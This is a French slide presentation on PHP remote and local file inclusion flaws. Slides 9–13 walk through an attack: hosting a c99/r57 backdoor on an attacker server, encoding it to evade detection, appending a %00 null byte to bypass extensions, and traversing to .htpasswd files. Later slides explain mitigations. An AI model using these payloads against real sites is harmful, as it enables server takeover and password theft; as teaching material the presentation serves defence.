présentation Faille include

316 vues

Publié le

présentation Faille include

Publié dans : Ingénierie
0 commentaire
0 j’aime
Statistiques
Remarques
  • Soyez le premier à commenter

  • Soyez le premier à aimer ceci

Aucun téléchargement
Vues
Nombre de vues
316
Sur SlideShare
0
Issues des intégrations
0
Intégrations
15
Actions
Partages
0
Téléchargements
0
Commentaires
0
J’aime
0
Intégrations 0
Aucune incorporation

Aucune remarque pour cette diapositive

présentation Faille include

  1. 1.  la faille PHP la plus connue dans le monde des sites web, du à une erreur de programmation commise par un développeur peu soucieux en matière de sécurité  L'include sert principalement à inclure une page dans une autre ou encore plus fréquament à inclure des variables provenants d'un fichier de configuration.
  2. 2. Exemple Si toutes vos pages requièrent la page mysql.php dans laquelle sont contenues les informations de connexion a la base de données, il convient de l’inclure dans chacune de vos pages plutôt que de retaper l’équivalent de mysql.php dans toutes celle-ci. La fonction include vous permettre de n’avoir qu’une seule page mysql.php, et toutes les pages de votre site l’incluront (le même cas pour le menu, header et le footer)
  3. 3.  1) Inclusion d'un autre page. <? include($page); ?> Dans un code html: <html> <head> <title>Page1</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body> <? include("maj.php"); ?> // La page que nous incluons dans page1.php </body> </html>
  4. 4.  2) Inclusion de variables <? //--------------------------------------------------- //------------- Page config.php --------------- //--------------------------------------------------- $login = "admin"; $pass = "pass"; //-------------------- END ----------------------- ?> <? //--------------------------------------------------- //------------- Page protec.php --------------- //--------------------------------------------------- include("config.php"); // La page config.php ou sont stokés les variables if($good1==$login & $good2==$pass) { include ("identification_ok.php"); // si le login et le pass est identique au config.php } else { echo "<center>Mauvais login/pass</center><br>"; include ("admin.php"); } //-------------------- END -----------------------
  5. 5.  http://www.sitevictime.com/index.php?page=menu.php Icil a page menu.php est inclue.La variable ce nomme "page". Que ce passe-t-il si nous modifions la valeur de la variable "page" qui vaut "menu.php" ? Testons ensemble . http://www.sitevictime.com/index.php?page=http://www.google.fr Chose dite chose faite ! Nous avons inclue notre page "google" Donc nous avons modifié la valeur de la variable. A ce moment là, plusieurs choix s'offrent à vous. - Soit vous êtes redirigé vers l'index du site ou, vous avez une page d'**orthographe !**.Oui on arrive sur une erreur 404, c'est que la faille semble être protégée.
  6. 6.  - Soit vous voyez Google qui s'affiche à la place de la page qui devrait être inclue. Ce que signifie faille Include est présente. Donc nous pouvons modifier la variable "page". Pourquoi ne pas alors inclure notre propre page qui contient un code malicieux, comme nous avons fait avec Google !  on pourrait très bien inclure un script malveillant, un shell et avoir acces au serveur puis faire ce que l'on veut.  On pourrait aussi inclure un fichier .htaccess et/ou .htpasswd (qui contient, en principe, les mots de passes).
  7. 7.  Imaginez que cette page en question soit une backdoor comme c99.php ! nous pourrons alors lister tous les fchiers, les éditer, en créer, accéder à la base de données,
  8. 8.  Pour détecter une faille include sur un site web, Il suffit de tester tous les paramètres possibles de l’URL et d’observer le résultat. Le but est de faire planter le site web en essayant d’inclure une page qui n’existe pas. Si une une URL est vulnérable alors nous devons avoir un warning PHP de ce type :  Warning: main([PARAMETRE_INCORRECT]): failed to open stream: No such file or directory in [URL_DE_LA_PAGE].php on line [NUMERO_DE_LIGNE]  Warning: main(): Failed opening ‘[PARAMETRE_INCORRECT]‘ for inclusion (include_path=’.:/usr/share/php:/usr/share /pear’) in [URL_DE_LA_PAGE].php on line [NUMERO_DE_LIGNE]
  9. 9.  1. La faille include a distance  Tout d’abord nous devons avoir une backdoor près a être employer, pour cela tapez dans google une backdoor précise comme r57, c99, c100 myshell, etc. Il préférable de l’encoder en base64 encoding pour ne pas être détecter.  Nous supposons que nous avons trouvé la faille sur un site, et qu’elle permette l’inclusion de n’importe quelle page. Maintenant, il ne nous reste plus qu’à placer notre backdoor sur notre serveur FTP ou un serveur gratuit n’exécutant pas le PHP.  Quelque soit la solution choisie, nous pouvons donc appeler la page vulnérable de cette manière : index.php?page=http://notre-serveur.com/backdoor.php (si elle est sur un serveur FTP, remplacez évidemment http :// par ftp :// et indiquez le login/pass de manière habituelle).  Et nous verrons notre backdoor s’afficher comme suit:
  10. 10.  Parfois on tombe sur une page vulnérable mais avec un code différent de celui que nous avons vu dans le paragraphe précédent, par exemple :  1<?php  2if(isset($_GET['page']))  3include($_GET['page'] . ".php");  4else  5include('default.php');  6?>  Ici l’extension « .php » est automatiquement rajoutée à la variable. Cela force notre fichier backdoor.php a devenir backdoor.php.php et ça ne va pas s’exécuter sur le serveur vulnérable.
  11. 11.  Alors que faire ?  Il existe une solution très simple pour bypasser ce filtre, c’est la technique null byte. Il consiste à placer un zéro ASCII a la fin de notre URL. Il faudra donc inclure : index.php?page=http://notre- serveur.com/backdoor.txt%00  Une petite explication  La fonction include() va être traitée par une fonction programmée en langage C. Et en C, on désigne la fin d’une chaîne de caractères par un octet null (x00 en notation classique). c’est pour ça notre chaîne de caractère(backdoor.php%00.php) sera tronqué en trouvant le caractère %00 !
  12. 12.  Nous n’avons Jusqu’ici cherché qu’à inclure une backdoor a distance. Mais sachez qu’il est tout à fait possible, avec cette faille, d’exécuter un fichier se trouvant sur le serveur vulnérable ! Et d’ailleurs, c’est quelque fois la seule possibilité, car certaines protections désactivent la possibilité d’inclure du code situé sur un autre serveur.  Nous pouvons donc afficher tous les pages a l’intérieur de l’index, de cette manière: http://www.cible.com/index.php?page=/test/test.php Et comme ça, nous allons pouvoir naviguer dans tout les répertoires du site, voir même du serveur s’il n’est pas chmoder  En pratique, c’est assez simple, en faite nous allons essayer de deviner dans quel répertoire ils se trouvent un fichier intéressant comme htpasswd, en testant successivement des paramètres comme « ../.htpasswd » ou « ../../.htpasswd » ou encore « ../dossier/.htpasswd ».  -
  13. 13. Et pour inclure ce fichier, vous faites comme ceci: http://www.sitevictime.com/index.php?pag e=http://www.votresite/code_malicieux.ph p Et voilà votre page "code_malicieux.php" a bien été inclue.
  14. 14.  La sécurisation de scripts PHP est une étape importante à prendre en compte lors de toute conception de site ou de script, simple ou complexe.  PHP permet déjà si on le configure correctement d'éliminer pas mal de problèmes de sécurité pour dissimuler des URL et des fichiers.  Les register_globals :  PHP est enfin configuré avec le paramètre register_globals à off par défaut. Vous pouvez désactiver les register_globals via le fichier php.ini, recherchez la ligne register_globals et attribuez-lui la valeur Off. Vous pouvez également passer par un fichier .htaccess, vous devrez dans ce cas rajouter la ligne suivante : php_flag register_globals off. Ceci désactivera les register_globals, qui sont une vraie plaie pour la sécurité d'un script.
  15. 15.  La meilleure façon pour corriger une include est de : Faire un test pour chaque pages de votre site, certes c’est long mais il n’y a pas mieux à vous de voir après. En php4, mettre la commande allow_url_fopen à off. Cette dernier permet la lecture de fichiers situés sur un autre serveur; En php5, mettre la commande allow_url_include à off. C’est un apport par rapport à php4, qui distingue les fichiers lus des fichiers inclus.
  16. 16.  Sécuriser la faille  On peut forcer d'inclure un page dans un dossier comme ça si le pirate veur inclure un site externe cela donnera : include("mon_dossier/http://google.com"); Ce qui échouera pour le pirate. Le mieux pour sécuriser cette faille est d'utiliser la fonction basename qui permet de garder uniquement la base d'un chemin. Exemple :http://exemle.com/script.php retourne juste script.php. Voici un exemple ou j'ai rajouter un "file_exists" pour être sur d'inclure la page seulement si elle existe sinon on lui affiche l'index.  $page = basename($_GET['page']); //$page : la page capturée de l'url (pour simplifier) et on prend le nom de base if (file_exists("mon_dossier/$page.html")){ //Si la page existe, on l'inclus include("mon_dossier/$page.html"); //On force le .html } else { include('mon_dossier/index.html'); //Si elle n'existe pas, on inclus l'index }
  17. 17. Attention maintenant à la faille dans votre site, c'est à dire qu'un visiteur inclue une page de votre site pour laquelle il n'a pas les droits d'accès en remontant d'un répertoire par exemple... Vous pouvez utiliser pour contrer cela les Expressions régulières en enlevant les caractères spéciaux : le slash, le point et l'antislash... qui pourraient prendre place dans l'url.

×